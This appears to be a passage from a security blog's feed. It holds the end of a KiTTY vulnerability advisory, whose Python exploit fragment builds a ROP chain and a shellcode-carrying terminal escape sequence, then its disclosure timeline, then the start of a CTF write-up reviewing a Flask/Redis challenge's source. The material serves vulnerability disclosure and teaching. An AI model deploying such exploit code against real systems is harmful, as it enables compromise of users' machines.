</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x00484e07</span><span class="p">,</span>  <span class="c1"># MOV EAX,DWORD PTR DS:[EAX] # RETN [kitty.exe]
</span>	<span class="mh">0x00473cf6</span><span class="p">,</span>  <span class="c1"># XCHG EAX,ESI # RETN [kitty.exe]
</span>	<span class="c1">#[---INFO:gadgets_to_set_ebp:---]
</span>	<span class="mh">0x00429953</span><span class="p">,</span>  <span class="c1"># POP EBP # RETN [kitty.exe]
</span>	<span class="mh">0x005405b0</span><span class="p">,</span>  <span class="c1"># PUSH ESP; RETN 0 [kitty.exe]
</span>	<span class="c1">#[---INFO:gadgets_to_set_ebx:---]
</span>	<span class="mh">0x0049d9f9</span><span class="p">,</span>  <span class="c1"># POP EBX # RETN [kitty.exe]
</span>	<span class="mh">0x00000201</span><span class="p">,</span>  <span class="c1"># 0x00000201-&gt; ebx
</span>	<span class="c1">#[---INFO:gadgets_to_set_edx:---]
</span>	<span class="mh">0x00430dce</span><span class="p">,</span>  <span class="c1"># POP EDX # RETN [kitty.exe]
</span>	<span class="mh">0x00000040</span><span class="p">,</span>  <span class="c1"># 0x00000040-&gt; edx
</span>	<span class="c1">#[---INFO:gadgets_to_set_ecx:---]
</span>	<span class="mh">0x005ac58c</span><span class="p">,</span>  <span class="c1"># POP ECX # RETN [kitty.exe]
</span>	<span class="mh">0x004d81d9</span><span class="p">,</span>  <span class="c1"># &amp;Writable location [kitty.exe]
</span>	<span class="c1">#[---INFO:gadgets_to_set_edi:---]
</span>	<span class="mh">0x004fa404</span><span class="p">,</span>  <span class="c1"># POP EDI # RETN [kitty.exe]
</span>	<span class="mh">0x005a2001</span><span class="p">,</span>  <span class="c1"># RETN (ROP NOP) [kitty.exe]
</span>	<span class="c1">#[---INFO:gadgets_to_set_eax:---]
</span>	<span class="mh">0x004cd011</span><span class="p">,</span>  <span class="c1"># POP EAX # POP EBX # RETN [kitty.exe]
</span>	<span class="mh">0x90909090</span><span class="p">,</span>  <span class="c1"># nop
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="c1">#[---INFO:pushad:---]
</span>	<span class="mh">0x005dfbac</span><span class="p">,</span>  <span class="c1"># PUSHAD # RETN [kitty.exe]
</span>	<span class="p">]</span>
	<span class="k">return</span> <span class="sa">b</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&lt;I'</span><span class="p">,</span> <span class="n">_</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="n">rop_gadgets</span><span class="p">)</span>

<span class="n">rop_chain</span> <span class="o">=</span> <span class="n">create_rop_chain</span><span class="p">()</span>

<span class="c1">#----------------------------------------------------------------------------------#
# Badchars: \x00\x07\x0a\x0d\x1b\x9c\x9d                                           #
# Return Address Information: 0x00529720 : {pivot 324 / 0x144} :                   #
#   ADD ESP,134 # POP EBX # POP ESI # POP EDI # POP EBP # RETN                     #
#   ** [kitty.exe] **   |  startnull {PAGE_EXECUTE_READWRITE}                      #
# Shellcode size at ESP: 1042 bytes                                                #
#----------------------------------------------------------------------------------#
</span>
<span class="n">return_address</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&lt;I'</span><span class="p">,</span>  <span class="mh">0x00529720</span><span class="p">)</span> <span class="c1"># ADD ESP,134 # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [kitty.exe] **   |  startnull {PAGE_EXECUTE_READWRITE}
</span>
<span class="n">rop_chain_padding</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="mi">27</span>
<span class="n">nops</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="mi">88</span>

<span class="n">escape_sequence</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\033</span><span class="s">]0;__dt:localhost:'</span> <span class="o">+</span> <span class="n">shellcode</span><span class="p">()</span> <span class="o">+</span> <span class="n">return_address</span>
<span class="n">escape_sequence</span> <span class="o">+=</span> <span class="n">rop_chain_padding</span> <span class="o">+</span> <span class="n">rop_chain</span>
<span class="n">escape_sequence</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xE9\x3D\xFA\xFF\xFF</span><span class="s">'</span> <span class="c1"># jmp $eip-1471
</span><span class="n">escape_sequence</span> <span class="o">+=</span> <span class="n">nops</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'</span><span class="se">\007</span><span class="s">'</span>

<span class="n">stdout</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">fdopen</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">fileno</span><span class="p">(),</span> <span class="s">'wb'</span><span class="p">)</span> 
<span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">escape_sequence</span><span class="p">)</span>
<span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="acknowledgments-">Acknowledgments: <a name="acknowledgments"></a></h2>

<p>Austin thanks the MITRE CVE Assignment Team for their assistance with the CVE service requests.</p>

<h2 id="timeline-">Timeline: <a name="timeline"></a></h2>

<p>2024-01-08: This advisory contains one vulnerability and one additional advisory totaling three vulnerabilities sent to KiTTY maintainer Cyril Dupont; no reply from Cyril.</p>

<p>2024-01-28: Follow-up email with assigned CVE numbers and full writeups sent to Cyril Dupont; no reply.</p>

<p>2024-02-07: Public Advisory &amp; Exploits Release Date (6:00 PM UCT).</p>

<h2 id="additional-advisory-">Additional Advisory: <a name="additional"></a></h2>

<p>CVE-2024-23749 Command Injection Vulnerability in KiTTY Get Remote File Through SCP Input: https://blog.defcesco.io/CVE-2024-23749</p>]]></content><author><name>Austin A. DeFrancesco</name></author><summary type="html"><![CDATA[Contents:]]></summary></entry><entry><title type="html">Hacking the Modern Stack: A Journey through Stored XSS, Redis Cache Poisoning, and Pickle Deserialization in the NEOCC Capture the Flag Tournament</title><link href="https://blog.defcesco.io/Hacking-the-Modern-Stack" rel="alternate" type="text/html" title="Hacking the Modern Stack: A Journey through Stored XSS, Redis Cache Poisoning, and Pickle Deserialization in the NEOCC Capture the Flag Tournament" /><published>2023-07-06T00:00:00+00:00</published><updated>2023-07-06T00:00:00+00:00</updated><id>https://blog.defcesco.io/Hacking-the-Modern-Stack</id><content type="html" xml:base="https://blog.defcesco.io/Hacking-the-Modern-Stack"><![CDATA[<h1 id="table-of-contents">Table of Contents</h1>
<ol>
  <li><a href="#introduction">Conquering the Scrapeware Challenge and Securing Victory in the NEOCC CTF</a></li>
  <li><a href="#recon">Recon &amp; Enumeration: Figuring Out How the Application Works</a></li>
  <li><a href="#flow">Examining the Flow of Information into the Application: Understanding How Data Enters the System</a></li>
  <li><a href="#exploring-xss">Exploring the Possibilities of Executing Arbitrary JavaScript as ADMIN</a></li>
  <li><a href="#ssrf">Using Redis Gopher as the SSRF Mechanism to Cache Poison the Redis Cache</a></li>
  <li><a href="#game-over">Chaining Payloads: From Pickle Deserialization to Redis Cache Poisoning to Game Over</a></li>
  <li><a href="#remediation">Remediation Recommendations</a></li>
  <li><a href="#summary">Summary</a></li>
</ol>

<h2 id="conquering-the-scrapeware-challenge-and-securing-victory-in-the-neocc-ctf-">Conquering the Scrapeware Challenge and Securing Victory in the NEOCC CTF <a name="introduction"></a></h2>

<p>Semi-annually, the North East Ohio Cybersecurity Consortium (<a href="https://neocc.us/">https://neocc.us/</a>) hosts a half-day capture the flag (CTF) tournament for consortium members.</p>

<p>While my team worked through the 12 Easy and Medium challenges, I spent the tournament assessing the Hard Web Application challenge, “Scrapeware.” Of the 26 Ohio-based corporations and 106 players, I was the only one to solve the challenge. The points earned from that challenge tipped our team into first place, securing our victory in the CTF!</p>

<p>In this blog post, I aim to demonstrate the assessment methodology and provide a walkthrough of my proof of concept that solved the challenge.</p>

<p>At a high level, the web application had three issues. When chained together, I was able to achieve remote code execution (RCE):</p>

<ol>
  <li>Abusing the <code class="language-plaintext highlighter-rouge">ADMIN</code> session via stored cross-site scripting (XSS) to access additional authenticated API functions.</li>
  <li>Cache poisoning Redis by leveraging the Redis Gopher protocol to achieve server-side request forgery (SSRF).</li>
  <li>Exploiting the Python <code class="language-plaintext highlighter-rouge">pickle</code> module’s deserialization vulnerability to inject and remotely execute code (RCE).</li>
</ol>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled.png" alt="Screenshot of the application’s main page." />
<em>Screenshot of the application’s main page.</em></p>

<h2 id="recon--enumeration-figuring-out-how-the-application-works"><strong>Recon &amp; Enumeration: Figuring Out How the Application Works</strong><a name="recon"></a></h2>

<p>Before downloading the source code and building the Docker image, I conducted recon and enumeration to understand the web application better.</p>

<p>Based on these initial findings, I concluded that the API was likely only accessible via a local loopback address such as <code class="language-plaintext highlighter-rouge">127.0.0.1</code>.</p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%201.png" alt="We are testing the standard functionality of the submission page." />
<em>We are testing the standard functionality of the submission page.</em></p>

<p>Since the CTF competition is time-sensitive, with the first flag submission for a challenge yielding the most points, I decided to conduct a quick series of standard cross-site scripting tests. However, these attempts proved unsuccessful.</p>

<p>At this time, I went deeper by downloading the source code and building the Docker image.</p>

<p>When reviewing a new project, my standard practice is to perform a quick <code class="language-plaintext highlighter-rouge">tree</code> command on the project’s root directory. This approach aids in understanding the project’s scope and identifying potentially suspicious files.</p>

<p><img src="/img/Hacking_the_Modern_Stack/Untitled%202.png" alt="Listing all the directories and files, attempting to understand the scope and where we should look first." /></p>

<p><em>Listing all the directories and files, attempting to understand the scope and where we should look first.</em></p>

<p>The first two files I examined were the build files for the Docker container. By exploring the build files, we can uncover the application’s roots and gain insights into its setup. Additionally, we can identify the specific technologies and frameworks utilized in the application.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
docker build <span class="nt">--tag</span><span class="o">=</span>web_scrapeware <span class="nb">.</span>
docker run <span class="nt">-p</span> 1337:1337 <span class="nt">--rm</span> <span class="se">\</span>
    <span class="nt">-v</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">pwd</span><span class="si">)</span><span class="s2">/challenge/application:/app/application"</span> <span class="se">\</span>
    <span class="nt">-v</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">pwd</span><span class="si">)</span><span class="s2">/challenge/worker:/app/worker"</span> <span class="se">\</span>
</code></pre></div></div>
<p><em><code class="language-plaintext highlighter-rouge">build-docker.sh</code></em></p>

<p>The Docker container runs two Python applications, a worker and an application for the web application itself. In separate directories are each application. The worker likely performs background tasks or handles asynchronous processes. The web application runs the main functionality of the application and listens on port 1337.</p>

<p>Let’s take a look at the <code class="language-plaintext highlighter-rouge">Dockerfile</code> as well.</p>

<div class="language-docker highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">FROM</span><span class="s"> python:3.8.14-buster</span>

<span class="c"># Install packages</span>
<span class="k">RUN </span>apt-get update <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="k">**</span>apt-get <span class="nb">install</span> <span class="nt">-y</span> wget supervisor gnupg sqlite3 libcurl4-openssl-dev python3-dev python3-pycurl psmisc redis gcc<span class="k">**</span> <span class="se">\
</span>    <span class="o">&amp;&amp;</span> wget <span class="nt">-q</span> <span class="nt">-O</span> - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - <span class="se">\
</span>    <span class="o">&amp;&amp;</span> sh <span class="nt">-c</span> <span class="s1">'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" &gt;&gt; /etc/apt/sources.list.d/google.list'</span> <span class="se">\
</span>    <span class="o">&amp;&amp;</span> apt-get update <span class="se">\
</span>    <span class="o">&amp;&amp;</span> apt-get <span class="nb">install</span> <span class="nt">-y</span> google-chrome-stable chromium-driver libxss1 libxshmfence-dev <span class="se">\
</span>    <span class="nt">--no-install-recommends</span> <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">rm</span> <span class="nt">-rf</span> /var/lib/apt/lists/<span class="k">*</span>

<span class="c"># Upgrade pip</span>
<span class="k">RUN </span>python <span class="nt">-m</span> pip <span class="nb">install</span> <span class="nt">--upgrade</span> pip

<span class="c"># Copy flag</span>
<span class="k">COPY</span><span class="s"> flag.txt /root/flag</span>

<span class="c"># Setup app</span>
<span class="k">RUN </span><span class="nb">mkdir</span> <span class="nt">-p</span> /app

<span class="c"># Switch working environment</span>
<span class="k">WORKDIR</span><span class="s"> /app</span>

<span class="c"># Add application</span>
<span class="k">COPY</span><span class="s"> challenge .</span>
<span class="k">RUN </span><span class="nb">chown</span> <span class="nt">-R</span> www-data:www-data /app/flask_session  /app/instance

<span class="c"># Install dependencies</span>
<span class="k">RUN </span>pip <span class="nb">install</span> <span class="nt">-r</span> /app/requirements.txt

<span class="c"># Setup config</span>
<span class="k">COPY</span><span class="s"> config/supervisord.conf /etc/supervisord.conf</span>
<span class="k">COPY</span><span class="s"> config/redis.conf /etc/redis/redis.conf</span>
<span class="k">COPY</span><span class="s"> config/readflag.c /</span>

**# Setup flag reader
<span class="k">RUN </span>gcc <span class="nt">-o</span> /readflag /readflag.c <span class="o">&amp;&amp;</span> <span class="nb">chmod </span>4755 /readflag <span class="o">&amp;&amp;</span> <span class="nb">rm</span> /readflag.c<span class="k">**</span>

<span class="c"># Expose port the server is reachable on</span>
<span class="k">EXPOSE</span><span class="s"> 1337</span>

<span class="c"># Disable pycache</span>
<span class="k">ENV</span><span class="s"> PYTHONDONTWRITEBYTECODE=1</span>

<span class="c"># Run supervisord</span>
<span class="k">CMD</span><span class="s"> ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]</span>
</code></pre></div></div>
<p><em><code class="language-plaintext highlighter-rouge">Dockerfile</code></em></p>

<p>The Docker container compiles a flag reader program written in C and assigns it <code class="language-plaintext highlighter-rouge">4755</code> permissions. It’s worth noting that setting the permissions to <code class="language-plaintext highlighter-rouge">4755</code> means that the compiled program will have the setuid bit enabled. This bit allows the program to be executed with the privileges of the file owner, rather than the user running it. Programs that require elevated privileges or special permissions often happen in web application development.</p>

<p>From the information provided about the application’s build files, we can gather the following insights:</p>

<ol>
  <li>The web application does not directly call the <code class="language-plaintext highlighter-rouge">readflag</code> binary. To interact with this binary, it will require a remote code execution (RCE) vulnerability in the application to execute arbitrary code or commands.</li>
  <li>The permission value <code class="language-plaintext highlighter-rouge">4755</code> indicates that the <code class="language-plaintext highlighter-rouge">readflag</code> binary has the setuid bit set. The set permission value means that if the <code class="language-plaintext highlighter-rouge">readflag</code> user owns the root binary, it runs under the <code class="language-plaintext highlighter-rouge">root</code> user’s permissions.</li>
</ol>

<p>So let’s begin our comprehensive review of the complete application.</p>

<h2 id="examining-the-flow-of-information-into-the-application-understanding-how-data-enters-the-system-">Examining the Flow of Information into the Application: Understanding How Data Enters the System <a name="flow"></a></h2>

<p>Analyzing the application’s core files, namely <code class="language-plaintext highlighter-rouge">/challenge/application/main.py</code> and <code class="language-plaintext highlighter-rouge">/challenge/run.py</code>, provides insights into how information flows into the application. Let’s delve into each of these files:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/challenge/application/main.py</code>: This file contains the main logic and functionality of the application. Reviewing this file to understand how data is processed, any input validation or sanitization measures in place, and how it interacts with other application components is crucial.</li>
</ul>

<p>In <code class="language-plaintext highlighter-rouge">main.py</code>, we can see we’re working with a Flask app, it has a Redis backend, and we have some authenticated user activities interacting with the <code class="language-plaintext highlighter-rouge">/api</code>. Next, I was interested in how the API handles requests, so let’s look at the blueprint file referenced on line 23 of <code class="language-plaintext highlighter-rouge">main.py</code>, <code class="language-plaintext highlighter-rouge">/application/blueprints/routes.py</code>.</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/challenge/run.py</code>: The file is responsible for initializing and starting the application. It will contain configuration settings, establishing connections to databases or other services, and setting up any required dependencies.</li>
</ul>

<p>When examining <code class="language-plaintext highlighter-rouge">run.py</code>, we must focus on input parameters, environment variables, or configuration files to customize the application’s behavior. We will check for potential security risks, such as sensitive information (e.g., API keys, database credentials) being exposed or insecurely stored.</p>

<p>By thoroughly reviewing these files, I gained insights into how data enters the application, how it is processed, and potential areas of vulnerability. Assessing the implementation of input validation, data sanitization, and security measures is critical to ensure the application’s posture against common attack vectors.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">flask_session</span> <span class="kn">import</span> <span class="n">Session</span>
<span class="kn">import</span> <span class="nn">redis</span>

<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
<span class="n">app</span><span class="p">.</span><span class="n">config</span><span class="p">.</span><span class="n">from_object</span><span class="p">(</span><span class="s">'application.config.Config'</span><span class="p">)</span>

<span class="n">app</span><span class="p">.</span><span class="n">redis</span> <span class="o">=</span> <span class="n">redis</span><span class="p">.</span><span class="n">StrictRedis</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="n">app</span><span class="p">.</span><span class="n">config</span><span class="p">[</span><span class="s">'REDIS_HOST'</span><span class="p">],</span> <span class="n">port</span><span class="o">=</span><span class="n">app</span><span class="p">.</span><span class="n">config</span><span class="p">[</span><span class="s">'REDIS_PORT'</span><span class="p">],</span> <span class="n">db</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="n">app</span><span class="p">.</span><span class="n">redis</span><span class="p">.</span><span class="n">flushdb</span><span class="p">()</span>
<span class="n">app</span><span class="p">.</span><span class="n">redis</span><span class="p">.</span><span class="n">getset</span><span class="p">(</span><span class="n">app</span><span class="p">.</span><span class="n">config</span><span class="p">[</span><span class="s">'REDIS_NUM_JOBS'</span><span class="p">],</span> <span class="mi">0</span><span class="p">)</span>

<span class="n">db</span><span class="p">.</span><span class="n">init_app</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>

<span class="n">login_manager</span> <span class="o">=</span> <span class="n">LoginManager</span><span class="p">()</span>
<span class="n">login_manager</span><span class="p">.</span><span class="n">init_app</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>

<span class="n">sess</span> <span class="o">=</span> <span class="n">Session</span><span class="p">()</span>
<span class="n">sess</span><span class="p">.</span><span class="n">init_app</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>

<span class="n">app</span><span class="p">.</span><span class="n">register_blueprint</span><span class="p">(</span><span class="n">web</span><span class="p">,</span> <span class="n">url_prefix</span><span class="o">=</span><span class="s">'/'</span><span class="p">)</span>
<span class="n">app</span><span class="p">.</span><span class="n">register_blueprint</span><span class="p">(</span><span class="n">api</span><span class="p">,</span> <span class="n">url_prefix</span><span class="o">=</span><span class="s">'/api'</span><span class="p">)</span>

<span class="o">@</span><span class="n">login_manager</span><span class="p">.</span><span class="n">user_loader</span>
<span class="k">def</span> <span class="nf">load_user</span><span class="p">(</span><span class="n">user_id</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">User</span><span class="p">.</span><span class="n">query</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">user_id</span><span class="p">))</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">errorhandler</span><span class="p">(</span><span class="mi">404</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">not_found</span><span class="p">(</span><span class="n">error</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'404 Not Found'</span><span class="p">,</span> <span class="mi">404</span><span class="p">)</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">errorhandler</span><span class="p">(</span><span class="mi">403</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">forbidden</span><span class="p">(</span><span class="n">error</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'403 Forbidden'</span><span class="p">,</span> <span class="mi">403</span><span class="p">)</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">errorhandler</span><span class="p">(</span><span class="mi">400</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">bad_request</span><span class="p">(</span><span class="n">error</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'400 Bad Request'</span><span class="p">,</span> <span class="mi">400</span><span class="p">)</span>
</code></pre></div></div>
<p><em><code class="language-plaintext highlighter-rouge">main.py</code></em></p>

<p>In <code class="language-plaintext highlighter-rouge">main.py</code>, we can see we’re working with a Flask app, it has a Redis backend, and we have some authenticated user activities interacting with the <code class="language-plaintext highlighter-rouge">/api</code>. Next, I was interested in how the API handles requests, so let’s look at the blueprint file referenced on line 23 of <code class="language-plaintext highlighter-rouge">main.py</code>, <code class="language-plaintext highlighter-rouge">/application/blueprints/routes.py</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">json</span>
<span class="kn">from</span> <span class="nn">application.database</span> <span class="kn">import</span> <span class="n">User</span><span class="p">,</span> <span class="n">QuoteRequests</span><span class="p">,</span> <span class="n">db</span><span class="p">,</span> <span class="n">clear_requests</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Blueprint</span><span class="p">,</span> <span class="n">Response</span><span class="p">,</span> <span class="n">jsonify</span><span class="p">,</span> <span class="n">redirect</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">request</span>
<span class="kn">from</span> <span class="nn">flask_login</span> <span class="kn">import</span> <span class="n">login_required</span><span class="p">,</span> <span class="n">login_user</span><span class="p">,</span> <span class="n">logout_user</span>
<span class="kn">from</span> <span class="nn">application.bot</span> <span class="kn">import</span> <span class="n">view_requests</span>
<span class="kn">from</span> <span class="nn">application.cache</span> <span class="kn">import</span> <span class="n">get_job_list</span><span class="p">,</span> <span class="n">create_job_queue</span><span class="p">,</span> <span class="n">get_job_queue</span><span class="p">,</span> <span class="n">get_job_result</span>

<span class="n">web</span> <span class="o">=</span> <span class="n">Blueprint</span><span class="p">(</span><span class="s">'web'</span><span class="p">,</span> <span class="n">__name__</span><span class="p">)</span>
<span class="n">api</span> <span class="o">=</span> <span class="n">Blueprint</span><span class="p">(</span><span class="s">'api'</span><span class="p">,</span> <span class="n">__name__</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">response</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">status</span><span class="o">=</span><span class="mi">200</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s">'message'</span><span class="p">:</span> <span class="n">message</span><span class="p">}),</span> <span class="n">status</span>

<span class="o">@</span><span class="n">web</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'index.html'</span><span class="p">)</span>

<span class="o">@</span><span class="n">api</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/request-quote'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">request_quote</span><span class="p">():</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">request</span><span class="p">.</span><span class="n">is_json</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Missing required parameters!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="n">data</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">get_json</span><span class="p">()</span>

    <span class="n">contact_name</span>  <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'name'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
    <span class="n">email_address</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'email_address'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
    <span class="n">quote_message</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'quote_message'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
    <span class="n">company_name</span>  <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'company_name'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
    <span class="n">company_size</span>  <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'company_size'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">email_address</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">quote_message</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Missing required parameters!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="n">quote_request</span> <span class="o">=</span> <span class="n">QuoteRequests</span><span class="p">(</span>
        <span class="n">name</span><span class="o">=</span><span class="n">contact_name</span><span class="p">,</span>
        <span class="n">email_address</span><span class="o">=</span><span class="n">email_address</span><span class="p">,</span>
        <span class="n">quote_message</span><span class="o">=</span><span class="n">quote_message</span><span class="p">,</span>
        <span class="n">company_name</span><span class="o">=</span><span class="n">company_name</span><span class="p">,</span>
        <span class="n">company_size</span><span class="o">=</span><span class="n">company_size</span>
    <span class="p">)</span>

    <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">quote_request</span><span class="p">)</span>
    <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>

    <span class="n">view_requests</span><span class="p">()</span>
    <span class="n">clear_requests</span><span class="p">()</span>

    <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Request received successfully!'</span><span class="p">)</span>

<span class="o">@</span><span class="n">web</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/login'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">login</span><span class="p">():</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">)</span>

<span class="o">@</span><span class="n">api</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/login'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">user_login</span><span class="p">():</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">request</span><span class="p">.</span><span class="n">is_json</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Missing required parameters!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="n">data</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">get_json</span><span class="p">()</span>
    <span class="n">username</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
    <span class="n">password</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">password</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Missing required parameters!'</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>

    <span class="n">user</span> <span class="o">=</span> <span class="n">User</span><span class="p">.</span><span class="n">query</span><span class="p">.</span><span class="n">filter_by</span><span class="p">(</span><span class="n">username</span><span class="o">=</span><span class="n">username</span><span class="p">).</span><span class="n">first</span><span class="p">()</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">user</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">user</span><span class="p">.</span><span class="n">password</span> <span class="o">==</span> <span class="n">password</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'Invalid username or password!'</span><span class="p">,</span> <span class="mi">403</span><span class="p">)</span>

    <span class="n">login_user</span><span class="p">(</span><span class="n">user</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">response</span><span class="p">(</span><span class="s">'User authenticated successfully!'</span><span class="p">)</span>

<span class="o">@</span><span class="n">web</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/admin/quote-requests'</span><span class="p">)</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">dashboard</span><span class="p">():</span>
    <span class="n">quote_requests</span> <span class="o">=</span> <span class="n">QuoteRequests</span><span class="p">.</span><span class="n">query</span><span class="p">.</span><span class="nb">all</span><span class="p">()</span>
